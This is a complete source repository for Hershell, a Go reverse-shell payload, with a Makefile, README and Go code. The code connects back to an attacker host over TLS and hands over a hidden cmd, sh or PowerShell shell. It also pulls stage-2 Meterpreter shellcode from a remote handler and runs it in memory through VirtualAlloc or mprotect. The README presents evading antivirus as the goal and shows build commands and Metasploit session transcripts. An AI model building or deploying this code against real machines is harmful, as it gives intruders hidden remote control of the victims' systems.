├── .gitignore ├── Makefile ├── README.md ├── hershell.go ├── meterpreter └── meterpreter.go └── shell ├── shell_default.go └── shell_windows.go /.gitignore: -------------------------------------------------------------------------------- 1 | hershell 2 | hershell.exe 3 | server.* 4 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BUILD=go build 2 | OUT_LINUX=hershell 3 | OUT_WINDOWS=hershell.exe 4 | SRC=hershell.go 5 | SRV_KEY=server.key 6 | SRV_PEM=server.pem 7 | LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)" 8 | WIN_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2) -H=windowsgui" 9 | 10 | all: clean depends shell 11 | 12 | depends: 13 | openssl req -subj '/CN=sysdream.com/O=Sysdream/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout ${SRV_KEY} -out ${SRV_PEM} 14 | cat ${SRV_KEY} >> ${SRV_PEM} 15 | 16 | shell: 17 | GOOS=${GOOS} GOARCH=${GOARCH} ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 18 | 19 | linux32: 20 | GOOS=linux GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 21 | 22 | linux64: 23 | GOOS=linux GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 24 | 25 | windows32: 26 | GOOS=windows GOARCH=386 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS} ${SRC} 27 | 28 | windows64: 29 | GOOS=windows GOARCH=amd64 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS} ${SRC} 30 | 31 | macos32: 32 | GOOS=darwin GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 33 | 34 | macos64: 35 | GOOS=darwin GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 36 | 37 | clean: 38 | rm -f ${SRV_KEY} ${SRV_PEM} ${OUT_LINUX} ${OUT_WINDOWS} 39 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hershell 2 | 3 | **NOTE:** the project has been forked on [this repo](https://github.com/lesnuages/hershell), check there for any other developments. 4 | 5 | Hershell is a simple TCP reverse shell written in [Go](https://golang.org). 6 | 7 | It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception. 8 | 9 | Supported OS are: 10 | 11 | - Windows 12 | - Linux 13 | - Mac OS 14 | - FreeBSD and derivatives 15 | 16 | ## Why ? 17 | 18 | Although meterpreter payloads are great, they are sometimes spotted by AV products. 19 | 20 | The goal of this project is to get a simple reverse shell, which can work on multiple systems. 21 | 22 | ## How ? 23 | 24 | Since it's written in Go, you can cross compile the source for the desired architecture. 25 | 26 | ## Getting started & dependencies 27 | 28 | As this is a Go project, you will need to follow the [official documentation](https://golang.org/doc/install) to set up 29 | your Golang environment (with the `$GOPATH` environment variable). 30 | 31 | Then, just run `go get github.com/sysdream/hershell` to fetch the project. 32 | 33 | ### Building the payload 34 | 35 | To simplify things, you can use the provided Makefile. 36 | You can set the following environment variables: 37 | 38 | - ``GOOS`` : the target OS 39 | - ``GOARCH`` : the target architecture 40 | - ``LHOST`` : the attacker IP or domain name 41 | - ``LPORT`` : the listener port 42 | 43 | For the ``GOOS`` and ``GOARCH`` variables, you can get the allowed values [here](https://golang.org/doc/install/source#environment). 44 | 45 | However, some helper targets are available in the ``Makefile``: 46 | 47 | - ``depends`` : generate the server certificate (required for the reverse shell) 48 | - ``windows32`` : builds a windows 32 bits executable (PE 32 bits) 49 | - ``windows64`` : builds a windows 64 bits executable (PE 64 bits) 50 | - ``linux32`` : builds a linux 32 bits executable (ELF 32 bits) 51 | - ``linux64`` : builds a linux 64 bits executable (ELF 64 bits) 52 | - ``macos32`` : builds a mac os 32 bits executable (Mach-O) 53 | - ``macos64`` : builds a mac os 64 bits executable (Mach-O) 54 | 55 | For those targets, you just need to set the ``LHOST`` and ``LPORT`` environment variables. 56 | 57 | ### Using the shell 58 | 59 | Once executed, you will be provided with a remote shell. 60 | This custom interactive shell will allow you to execute system commands through `cmd.exe` on Windows, or `/bin/sh` on UNIX machines. 61 | 62 | The following special commands are supported: 63 | 64 | * ``run_shell`` : drops you an system shell (allowing you, for example, to change directories) 65 | * ``inject `` : injects a shellcode (base64 encoded) in the same process memory, and executes it (Windows only at the moment). 66 | * ``meterpreter [tcp|http|https] IP:PORT`` : connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment) 67 | * ``exit`` : exit gracefully 68 | 69 | ## Usage 70 | 71 | First of all, you will need to generate a valid certificate: 72 | ```bash 73 | $ make depends 74 | openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem 75 | Generating a 4096 bit RSA private key 76 | ....................................................................................++ 77 | .....++ 78 | writing new private key to 'server.key' 79 | ----- 80 | cat server.key >> server.pem 81 | ``` 82 | 83 | For windows: 84 | 85 | ```bash 86 | # Predifined 32 bit target 87 | $ make windows32 LHOST=192.168.0.12 LPORT=1234 88 | # Predifined 64 bit target 89 | $ make windows64 LHOST=192.168.0.12 LPORT=1234 90 | ``` 91 | 92 | For Linux: 93 | ```bash 94 | # Predifined 32 bit target 95 | $ make linux32 LHOST=192.168.0.12 LPORT=1234 96 | # Predifined 64 bit target 97 | $ make linux64 LHOST=192.168.0.12 LPORT=1234 98 | ``` 99 | 100 | For Mac OS X 101 | ```bash 102 | $ make macos LHOST=192.168.0.12 LPORT=1234 103 | ``` 104 | 105 | ## Examples 106 | 107 | ### Basic usage 108 | 109 | One can use various tools to handle incomming connections, such as: 110 | 111 | * socat 112 | * ncat 113 | * openssl server module 114 | * metasploit multi handler (with a `python/shell_reverse_tcp_ssl` payload) 115 | 116 | Here is an example with `ncat`: 117 | 118 | ```bash 119 | $ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234 120 | Ncat: Version 7.60 ( https://nmap.org/ncat ) 121 | Ncat: Listening on :::1234 122 | Ncat: Listening on 0.0.0.0:1234 123 | Ncat: Connection from 172.16.122.105. 124 | Ncat: Connection from 172.16.122.105:47814. 125 | [hershell]> whoami 126 | desktop-3pvv31a\lab 127 | ``` 128 | 129 | ### Meterpreter staging 130 | 131 | **WARNING**: this currently only work for the Windows platform. 132 | 133 | The meterpreter staging currently supports the following payloads : 134 | 135 | * `windows/meterpreter/reverse_tcp` 136 | * `windows/x64/meterpreter/reverse_tcp` 137 | * `windows/meterpreter/reverse_http` 138 | * `windows/x64/meterpreter/reverse_http` 139 | * `windows/meterpreter/reverse_https` 140 | * `windows/x64/meterpreter/reverse_https` 141 | 142 | To use the correct one, just specify the transport you want to use (tcp, http, https) 143 | 144 | To use the meterpreter staging feature, just start your handler: 145 | 146 | ```bash 147 | [14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler 148 | [14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https 149 | payload => windows/x64/meterpreter/reverse_https 150 | [14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105 151 | lhost => 172.16.122.105 152 | [14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443 153 | lport => 8443 154 | [14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem 155 | HandlerSSLCert => ./server.pem 156 | [14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j 157 | [*] Exploit running as background job 0. 158 | 159 | [*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443 160 | [14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) > 161 | ``` 162 | 163 | Then, in `hershell`, use the `meterpreter` command: 164 | 165 | ```bash 166 | [hershell]> meterpreter https 172.16.122.105:8443 167 | ``` 168 | 169 | A new meterpreter session should pop in `msfconsole`: 170 | 171 | ```bash 172 | [14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) > 173 | [*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ... 174 | [*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100 175 | 176 | [14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions 177 | 178 | Active sessions 179 | =============== 180 | 181 | Id Name Type Information Connection 182 | -- ---- ---- ----------- ---------- 183 | 1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15) 184 | 185 | [14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1 186 | [*] Starting interaction with 1... 187 | 188 | meterpreter > getuid 189 | Server username: DESKTOP-3PVV31A\lab 190 | ``` 191 | 192 | ## Credits 193 | 194 | Ronan Kervella `` 195 | -------------------------------------------------------------------------------- /hershell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "crypto/sha256" 7 | "crypto/tls" 8 | "encoding/hex" 9 | "net" 10 | "os" 11 | "os/exec" 12 | "strings" 13 | 14 | "github.com/sysdream/hershell/meterpreter" 15 | "github.com/sysdream/hershell/shell" 16 | ) 17 | 18 | const ( 19 | ERR_COULD_NOT_DECODE = 1 << iota 20 | ERR_HOST_UNREACHABLE = iota 21 | ERR_BAD_FINGERPRINT = iota 22 | ) 23 | 24 | var ( 25 | connectString string 26 | fingerPrint string 27 | ) 28 | 29 | func InteractiveShell(conn net.Conn) { 30 | var ( 31 | exit bool = false 32 | prompt string = "[hershell]> " 33 | scanner *bufio.Scanner = bufio.NewScanner(conn) 34 | ) 35 | 36 | conn.Write([]byte(prompt)) 37 | 38 | for scanner.Scan() { 39 | command := scanner.Text() 40 | if len(command) > 1 { 41 | argv := strings.Split(command, " ") 42 | switch argv[0] { 43 | case "meterpreter": 44 | if len(argv) > 2 { 45 | transport := argv[1] 46 | address := argv[2] 47 | ok, err := meterpreter.Meterpreter(transport, address) 48 | if !ok { 49 | conn.Write([]byte(err.Error() + "\n")) 50 | } 51 | } else { 52 | conn.Write([]byte("Usage: meterpreter [tcp|http|https] IP:PORT\n")) 53 | } 54 | case "inject": 55 | if len(argv) > 1 { 56 | shell.InjectShellcode(argv[1]) 57 | } 58 | case "exit": 59 | exit = true 60 | case "run_shell": 61 | conn.Write([]byte("Enjoy your native shell\n")) 62 | RunShell(conn) 63 | default: 64 | shell.ExecuteCmd(command, conn) 65 | } 66 | 67 | if exit { 68 | break 69 | } 70 | 71 | } 72 | conn.Write([]byte(prompt)) 73 | } 74 | } 75 | 76 | func RunShell(conn net.Conn) { 77 | var cmd *exec.Cmd = shell.GetShell() 78 | cmd.Stdout = conn 79 | cmd.Stderr = conn 80 | cmd.Stdin = conn 81 | cmd.Run() 82 | } 83 | 84 | func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) { 85 | valid := false 86 | connState := conn.ConnectionState() 87 | for _, peerCert := range connState.PeerCertificates { 88 | hash := sha256.Sum256(peerCert.Raw) 89 | if bytes.Compare(hash[0:], fingerprint) == 0 { 90 | valid = true 91 | } 92 | } 93 | return valid, nil 94 | } 95 | 96 | func Reverse(connectString string, fingerprint []byte) { 97 | var ( 98 | conn *tls.Conn 99 | err error 100 | ) 101 | config := &tls.Config{InsecureSkipVerify: true} 102 | if conn, err = tls.Dial("tcp", connectString, config); err != nil { 103 | os.Exit(ERR_HOST_UNREACHABLE) 104 | } 105 | 106 | defer conn.Close() 107 | 108 | if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok { 109 | os.Exit(ERR_BAD_FINGERPRINT) 110 | } 111 | InteractiveShell(conn) 112 | } 113 | 114 | func main() { 115 | if connectString != "" && fingerPrint != "" { 116 | fprint := strings.Replace(fingerPrint, ":", "", -1) 117 | bytesFingerprint, err := hex.DecodeString(fprint) 118 | if err != nil { 119 | os.Exit(ERR_COULD_NOT_DECODE) 120 | } 121 | Reverse(connectString, bytesFingerprint) 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /meterpreter/meterpreter.go: -------------------------------------------------------------------------------- 1 | package meterpreter 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/binary" 6 | "io/ioutil" 7 | "math/rand" 8 | "net" 9 | "net/http" 10 | "runtime" 11 | "time" 12 | 13 | "github.com/sysdream/hershell/shell" 14 | ) 15 | 16 | func Meterpreter(connType, address string) (bool, error) { 17 | var ( 18 | ok bool 19 | err error 20 | ) 21 | switch { 22 | case connType == "http" || connType == "https": 23 | ok, err = ReverseHttp(connType, address) 24 | case connType == "tcp": 25 | ok, err = ReverseTcp(address) 26 | default: 27 | ok = false 28 | } 29 | 30 | return ok, err 31 | } 32 | 33 | func GetRandomString(length int, charset string) string { 34 | var seed *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) 35 | buf := make([]byte, length) 36 | for i := range buf { 37 | buf[i] = charset[seed.Intn(len(charset))] 38 | } 39 | return string(buf) 40 | } 41 | 42 | // See https://github.com/rapid7/metasploit-framework/blob/7a6a124272b7c52177a540317c710f9a3ac925aa/lib/rex/payloads/meterpreter/uri_checksum.rb 43 | func GetURIChecksumId() int { 44 | var res int = 0 45 | switch runtime.GOOS { 46 | case "windows": 47 | res = 92 48 | case "linux": 49 | res = 95 50 | default: 51 | res = 92 52 | } 53 | return res 54 | } 55 | 56 | func GenerateURIChecksum(length int) string { 57 | var charset string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" 58 | for { 59 | var checksum int = 0 60 | var uriString string 61 | 62 | uriString = GetRandomString(length, charset) 63 | for _, value := range uriString { 64 | checksum += int(value) 65 | } 66 | if (checksum % 0x100) == GetURIChecksumId() { 67 | return uriString 68 | } 69 | } 70 | } 71 | 72 | func ReverseTcp(address string) (bool, error) { 73 | var ( 74 | stage2LengthBuf []byte = make([]byte, 4) 75 | tmpBuf []byte = make([]byte, 2048) 76 | read int = 0 77 | totalRead int = 0 78 | stage2LengthInt uint32 = 0 79 | conn net.Conn 80 | err error 81 | ) 82 | 83 | if conn, err = net.Dial("tcp", address); err != nil { 84 | return false, err 85 | } 86 | 87 | defer conn.Close() 88 | 89 | if _, err = conn.Read(stage2LengthBuf); err != nil { 90 | return false, err 91 | } 92 | 93 | stage2LengthInt = binary.LittleEndian.Uint32(stage2LengthBuf[:]) 94 | stage2Buf := make([]byte, stage2LengthInt) 95 | 96 | for totalRead < (int)(stage2LengthInt) { 97 | if read, err = conn.Read(tmpBuf); err != nil { 98 | return false, err 99 | } 100 | totalRead += read 101 | stage2Buf = append(stage2Buf, tmpBuf[:read]...) 102 | } 103 | 104 | shell.ExecShellcode(stage2Buf) 105 | 106 | return true, nil 107 | } 108 | 109 | func ReverseHttp(connType, address string) (bool, error) { 110 | var ( 111 | resp *http.Response 112 | err error 113 | ) 114 | url := connType + "://" + address + "/" + GenerateURIChecksum(12) 115 | if connType == "https" { 116 | transport := &http.Transport{ 117 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 118 | } 119 | client := &http.Client{Transport: transport} 120 | resp, err = client.Get(url) 121 | } else { 122 | resp, err = http.Get(url) 123 | } 124 | if err != nil { 125 | return false, err 126 | } 127 | 128 | defer resp.Body.Close() 129 | 130 | stage2buf, _ := ioutil.ReadAll(resp.Body) 131 | shell.ExecShellcode(stage2buf) 132 | 133 | return true, nil 134 | } 135 | -------------------------------------------------------------------------------- /shell/shell_default.go: -------------------------------------------------------------------------------- 1 | // +build linux darwin freebsd !windows 2 | 3 | package shell 4 | 5 | import ( 6 | "encoding/base64" 7 | "net" 8 | "os/exec" 9 | "syscall" 10 | "unsafe" 11 | ) 12 | 13 | func GetShell() *exec.Cmd { 14 | cmd := exec.Command("/bin/sh") 15 | return cmd 16 | } 17 | 18 | func ExecuteCmd(command string, conn net.Conn) { 19 | cmd_path := "/bin/sh" 20 | cmd := exec.Command(cmd_path, "-c", command) 21 | cmd.Stdout = conn 22 | cmd.Stderr = conn 23 | cmd.Run() 24 | } 25 | 26 | // Decodes base64 encoded shellcode 27 | // and injects it in the same process. 28 | func InjectShellcode(encShellcode string) { 29 | if encShellcode != "" { 30 | if shellcode, err := base64.StdEncoding.DecodeString(encShellcode); err == nil { 31 | ExecShellcode(shellcode) 32 | } 33 | } 34 | return 35 | } 36 | 37 | // Get the page containing the given pointer 38 | // as a byte slice. 39 | func getPage(p uintptr) []byte { 40 | return (*(*[0xFFFFFF]byte)(unsafe.Pointer(p & ^uintptr(syscall.Getpagesize()-1))))[:syscall.Getpagesize()] 41 | } 42 | 43 | // Set the memory page containing the shellcode 44 | // to R-X, then executes the shellcode as a function. 45 | func ExecShellcode(shellcode []byte) { 46 | shellcodeAddr := uintptr(unsafe.Pointer(&shellcode[0])) 47 | page := getPage(shellcodeAddr) 48 | syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC) 49 | shellPtr := unsafe.Pointer(&shellcode) 50 | shellcodeFuncPtr := *(*func())(unsafe.Pointer(&shellPtr)) 51 | go shellcodeFuncPtr() 52 | } 53 | -------------------------------------------------------------------------------- /shell/shell_windows.go: -------------------------------------------------------------------------------- 1 | // +build windows !linux !darwin !freebsd 2 | 3 | package shell 4 | 5 | import ( 6 | "encoding/base64" 7 | "net" 8 | "os/exec" 9 | "syscall" 10 | "unsafe" 11 | ) 12 | 13 | const ( 14 | MEM_COMMIT = 0x1000 15 | MEM_RESERVE = 0x2000 16 | PAGE_EXECUTE_READWRITE = 0x40 17 | ) 18 | 19 | func GetShell() *exec.Cmd { 20 | cmd := exec.Command("C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe") 21 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 22 | return cmd 23 | } 24 | 25 | func ExecuteCmd(command string, conn net.Conn) { 26 | cmd_path := "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" 27 | cmd := exec.Command(cmd_path, "/c", command+"\n") 28 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 29 | cmd.Stdout = conn 30 | cmd.Stderr = conn 31 | cmd.Run() 32 | } 33 | 34 | func InjectShellcode(encShellcode string) { 35 | if encShellcode != "" { 36 | if shellcode, err := base64.StdEncoding.DecodeString(encShellcode); err == nil { 37 | go ExecShellcode(shellcode) 38 | } 39 | } 40 | } 41 | 42 | func ExecShellcode(shellcode []byte) { 43 | // Resolve kernell32.dll, and VirtualAlloc 44 | kernel32 := syscall.MustLoadDLL("kernel32.dll") 45 | VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") 46 | // Reserve space to drop shellcode 47 | address, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) 48 | // Ugly, but works 49 | addrPtr := (*[990000]byte)(unsafe.Pointer(address)) 50 | // Copy shellcode 51 | for i, value := range shellcode { 52 | addrPtr[i] = value 53 | } 54 | go syscall.Syscall(address, 0, 0, 0, 0) 55 | } 56 | --------------------------------------------------------------------------------